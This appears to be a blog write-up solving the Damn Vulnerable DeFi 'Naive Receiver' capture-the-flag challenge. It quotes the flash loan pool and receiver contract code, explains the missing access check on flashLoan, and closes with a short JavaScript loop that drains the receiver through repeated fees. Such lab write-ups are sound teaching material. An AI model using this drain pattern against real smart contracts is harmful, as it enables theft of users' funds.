Damn Vulnerable DeFi - Naive Receiver

The contract

The contract emulates a flash loan functionality. The challenge is to steal 10 ETH from the "receiver" user, while using the address whose alias is "player".

The solution

Each time a user requests a flash loan, they have to pay 1 ETH as a fee. In order to steal 10 ETH from a user, we can request 10 flash loans from their account. This is possible because the "flashLoan" functionality has no access control, so anyone can request flash loans for any other user by specifying their address as the receiver of the loan.

Looking more in detail at the code:

function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        if (token != ETH)
            revert UnsupportedCurrency();

        uint256 balanceBefore = address(this).balance;

        // Transfer ETH and handle control to receiver
        SafeTransferLib.safeTransferETH(address(receiver), amount); //this request transfers the amount to the receiver, but it never checked that the request came from them and not someone else
        if(receiver.onFlashLoan(
            msg.sender,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) != CALLBACK_SUCCESS) {
            revert CallbackFailed();
        }

        if (address(this).balance < balanceBefore + FIXED_FEE)
            revert RepayFailed();

        return true;
    }
function onFlashLoan(
        address,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {
        //return keccak256("ERC3156FlashBorrower.onFlashLoan");
        assembly { // gas savings
            if iszero(eq(sload(pool.slot), caller())) { //this first assembly line checks the caller is the lending pool and not someone else. No problem, because the request came from the pool contract
                mstore(0x00, 0x48f5c3ed)
                revert(0x1c, 0x04)
            }
        }
        if (token != ETH)
            revert UnsupportedCurrency();

        uint256 amountToBeRepaid;
        unchecked {
            amountToBeRepaid = amount + fee;
        }

        _executeActionDuringFlashLoan();

        // Return funds to pool
        SafeTransferLib.safeTransferETH(pool, amountToBeRepaid); //here the receiver returns the amount requested plus the fee. If we force them to do this enough times, they will run out of money

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

We can see that none of the two functions called ever checks whether the original sender is authorized to ask for a loan for the receiving user. Basically, impersonating the "player" user we can ask for a loan for every other account: this way, those accounts are forced to pay the 1 ETH fee, and we can drain them of all funds if we repeat this request multiple times (up to their total funds amount).

In order to do this, a simple for loop will do:

val = await pool.ETH()
        for (let i = 0; i < 10; i++) {
            await pool.connect(player).flashLoan(receiver.address, val, 0, "0x");
        }

Merry hacking ;)


You'll only receive email when they publish something new.

More from emacab98
All posts